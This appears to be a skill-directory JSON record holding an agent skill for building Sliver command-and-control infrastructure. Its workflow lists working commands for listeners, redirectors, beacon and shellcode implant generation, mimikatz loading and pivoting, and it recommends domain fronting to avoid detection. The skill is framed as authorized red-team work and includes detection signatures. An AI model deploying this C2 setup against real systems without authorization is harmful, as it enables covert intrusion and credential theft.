[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GWY4QJ9YKKWMCDBAW9PDQH":3,"skill-same:01M6GWY4QJ9YKKWMCDBAW9PDQH":102},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":52,"install":53,"resources":66},"01M6GWY4QJ9YKKWMCDBAW9PDQH","building-c2-infrastructure-with-sliver-framework",null,"Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"infrastructure","with","building c2 infrastructure with sliver framework","sliver","c2","framework","red team","post-exploitation","command-and-control","c2-framework","red-team","adversary-simulation","exploitation","simulation","red-teaming","team","configure","post","multi","cybersecurity","2026-11-10 10:12:30",false,"---\nname: building-c2-infrastructure-with-sliver-framework\ndescription: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags: [red-team, c2-framework, sliver, command-and-control, adversary-simulation, infrastructure, post-exploitation]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through redirectors\n","# Building C2 Infrastructure with Sliver Framework\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP\u002FS, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.\n\n\n## When to Use\n\n- When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Familiarity with red teaming concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Objectives\n\n- Deploy a Sliver team server on hardened cloud infrastructure\n- Configure HTTPS, mTLS, DNS, and WireGuard listeners\n- Generate implants (beacons and sessions) for target platforms\n- Set up NGINX or Apache redirectors between implants and the team server\n- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation\n- Configure multi-operator access with certificate-based authentication\n- Establish operational security controls for C2 communications\n\n## MITRE ATT&CK Mapping\n\n- **T1071.001** - Application Layer Protocol: Web Protocols\n- **T1071.004** - Application Layer Protocol: DNS\n- **T1573.002** - Encrypted Channel: Asymmetric Cryptography\n- **T1090.002** - Proxy: External Proxy (Redirectors)\n- **T1105** - Ingress Tool Transfer\n- **T1132.001** - Data Encoding: Standard Encoding\n- **T1572** - Protocol Tunneling\n\n## Workflow\n\n### Phase 1: Team Server Deployment\n1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server\n2. Harden the OS: disable SSH password auth, configure UFW\u002Fiptables, install fail2ban\n3. Install Sliver using the official install script:\n   ```bash\n   curl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n   ```\n4. Start the Sliver server daemon:\n   ```bash\n   systemctl start sliver\n   # Or run interactively\n   sliver-server\n   ```\n5. Generate operator configuration files for team members:\n   ```bash\n   new-operator --name operator1 --lhost \u003Cteam-server-ip>\n   ```\n\n### Phase 2: Listener Configuration\n1. Configure an HTTPS listener with a legitimate SSL certificate:\n   ```bash\n   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert \u002Fpath\u002Fto\u002Fcert.pem --key \u002Fpath\u002Fto\u002Fkey.pem\n   ```\n2. Configure a DNS listener for fallback C2:\n   ```bash\n   dns --domains c2dns.example.com --lport 53\n   ```\n3. Configure mTLS listener for high-security sessions:\n   ```bash\n   mtls --lhost 0.0.0.0 --lport 8888\n   ```\n4. Configure WireGuard listener for tunneled access:\n   ```bash\n   wg --lport 51820\n   ```\n\n### Phase 3: Redirector Setup\n1. Deploy a separate VPS as a redirector (positioned between targets and team server)\n2. Install and configure NGINX as a reverse proxy:\n   ```nginx\n   server {\n       listen 443 ssl;\n       server_name c2.example.com;\n       ssl_certificate \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Ffullchain.pem;\n       ssl_certificate_key \u002Fetc\u002Fletsencrypt\u002Flive\u002Fc2.example.com\u002Fprivkey.pem;\n\n       location \u002F {\n           proxy_pass https:\u002F\u002F\u003Cteam-server-ip>:443;\n           proxy_ssl_verify off;\n           proxy_set_header Host $host;\n           proxy_set_header X-Real-IP $remote_addr;\n       }\n   }\n   ```\n3. Configure iptables rules on the team server to only accept connections from the redirector:\n   ```bash\n   iptables -A INPUT -p tcp --dport 443 -s \u003Credirector-ip> -j ACCEPT\n   iptables -A INPUT -p tcp --dport 443 -j DROP\n   ```\n4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting\n\n### Phase 4: Implant Generation\n1. Generate an HTTPS beacon implant:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format exe --name payload\n   ```\n2. Generate a DNS beacon for restricted networks:\n   ```bash\n   generate beacon --dns c2dns.example.com --os windows --arch amd64\n   ```\n3. Generate a shellcode payload for injection:\n   ```bash\n   generate --http https:\u002F\u002Fc2.example.com --os windows --arch amd64 --format shellcode\n   ```\n4. Configure beacon jitter and callback intervals:\n   ```bash\n   generate beacon --http https:\u002F\u002Fc2.example.com --seconds 60 --jitter 30\n   ```\n\n### Phase 5: Post-Exploitation Operations\n1. Interact with active beacons\u002Fsessions:\n   ```bash\n   beacons        # List active beacons\n   use \u003Cbeacon-id> # Interact with a beacon\n   ```\n2. Execute post-exploitation modules:\n   ```bash\n   ps              # Process listing\n   netstat         # Network connections\n   execute-assembly \u002Fpath\u002Fto\u002FSeatbelt.exe -group=all  # Run .NET assemblies\n   sideload \u002Fpath\u002Fto\u002Fmimikatz.dll  # Load DLLs\n   ```\n3. Set up pivots for internal network access:\n   ```bash\n   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host\n   ```\n4. Use BOF (Beacon Object Files) for in-memory execution:\n   ```bash\n   armory install sa-ldapsearch  # Install from armory\n   sa-ldapsearch -- \"(objectClass=user)\"  # Execute BOF\n   ```\n\n## Tools and Resources\n\n| Tool | Purpose | Platform |\n|------|---------|----------|\n| Sliver Server | C2 team server and implant management | Linux\u002FmacOS\u002FWindows |\n| Sliver Client | Operator console for team members | Cross-platform |\n| NGINX | Redirector and reverse proxy | Linux |\n| Certbot | Let's Encrypt SSL certificate generation | Linux |\n| Cloudflare | CDN and domain fronting | Cloud |\n| Armory | Sliver extension\u002FBOF package manager | Built-in |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|-----------|-----------------|\n| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |\n| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |\n| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |\n| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |\n| Sliver implant file hashes | EDR\u002FAV signature matching against known Sliver samples |\n\n## Validation Criteria\n\n- [ ] Team server deployed and hardened with firewall rules\n- [ ] HTTPS listener configured with valid SSL certificate\n- [ ] DNS listener configured as fallback C2 channel\n- [ ] At least one redirector deployed between targets and team server\n- [ ] Multi-operator access configured with unique certificates\n- [ ] Implants generated for target operating systems\n- [ ] Beacon callback intervals and jitter configured for stealth\n- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)\n- [ ] Pivot functionality validated for internal network access\n- [ ] All C2 traffic encrypted and passing through redirectors\n",{"name":5,"tags":43,"author":44,"domain":37,"license":14,"version":45,"subdomain":32,"description":7},[28,27,21,26,29,18,25],"mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":54,"prompt":64,"zipAvailable":65},[55,58,61],{"tool":56,"command":57},"npx","npx skills add micsapp\u002Fmicstec-skills --skill building-c2-infrastructure-with-sliver-framework",{"tool":59,"command":60},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill building-c2-infrastructure-with-sliver-framework",{"tool":62,"command":63},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill building-c2-infrastructure-with-sliver-framework","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002FSKILL.md",true,[67,73,78,84,88,92,98],{"path":68,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"assets\u002Ftemplate.md","ASSET","资产文件",2028,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Fassets\u002Ftemplate.md",{"path":74,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":77},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002FLICENSE",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",1633,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":86,"sourceHtmlUrl":87},"references\u002Fstandards.md",1322,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Freferences\u002Fstandards.md",{"path":89,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fworkflows.md",2401,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Freferences\u002Fworkflows.md",{"path":93,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"scripts\u002Fagent.py","SCRIPT","脚本",4694,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Fscripts\u002Fagent.py",{"path":99,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":100,"sourceHtmlUrl":101},"scripts\u002Fprocess.py",6319,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fbuilding-c2-infrastructure-with-sliver-framework\u002Fscripts\u002Fprocess.py",[103,140,169,190,210,235],{"skillNo":104,"name":105,"nameZh":6,"description":106,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":107,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":120,"publishedAt":38},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[110,115],{"categoryNo":111,"categoryName":112,"taxonomyType":113,"taxonomyTypeDesc":114},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":116,"categoryName":117,"taxonomyType":118,"taxonomyTypeDesc":119},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[121,122,123,124,125,126,127,128,129,130,33,131,132,133,134,135,136,137,138,139],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":141,"name":142,"nameZh":6,"description":143,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":107,"licenseFileUrl":6,"sourceHtmlUrl":144,"categories":145,"keywords":154,"publishedAt":38},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[146,147,150,153],{"categoryNo":111,"categoryName":112,"taxonomyType":113,"taxonomyTypeDesc":114},{"categoryNo":148,"categoryName":149,"taxonomyType":113,"taxonomyTypeDesc":114},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":151,"categoryName":152,"taxonomyType":113,"taxonomyTypeDesc":114},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":116,"categoryName":117,"taxonomyType":118,"taxonomyTypeDesc":119},[155,156,157,158,122,18,159,160,161,162,163,164,130,33,136,165,166,137,167,168],"deployment","apiops deployment","workflows","azure devops","code","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":107,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":176,"publishedAt":38},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[175],{"categoryNo":111,"categoryName":112,"taxonomyType":113,"taxonomyTypeDesc":114},[177,178,179,180,122,125,130,33,181,182,183,184,185,186,187,137,188,189,168,139],"policy","authoring","apim policy authoring","security","access","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":107,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":198,"publishedAt":38},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[196,197],{"categoryNo":111,"categoryName":112,"taxonomyType":113,"taxonomyTypeDesc":114},{"categoryNo":116,"categoryName":117,"taxonomyType":118,"taxonomyTypeDesc":119},[199,180,200,130,184,201,122,155,202,203,204,205,33,206,137,207,208,209,138,139],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":211,"name":212,"nameZh":6,"description":213,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":107,"licenseFileUrl":6,"sourceHtmlUrl":214,"categories":215,"keywords":216,"publishedAt":38},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[217,218,219,157,220,221,222,223,130,224,225,226,227,228,229,230,231,232,233,234],"cli","jira","jira cli","init","tasks","create","issues","common","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":236,"name":237,"nameZh":6,"description":238,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":107,"licenseFileUrl":6,"sourceHtmlUrl":239,"categories":240,"keywords":241,"publishedAt":38},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[237,242,243,244,245,246,247,182,248,249],"npm","js","calculate","node","math","user","compute","errors"]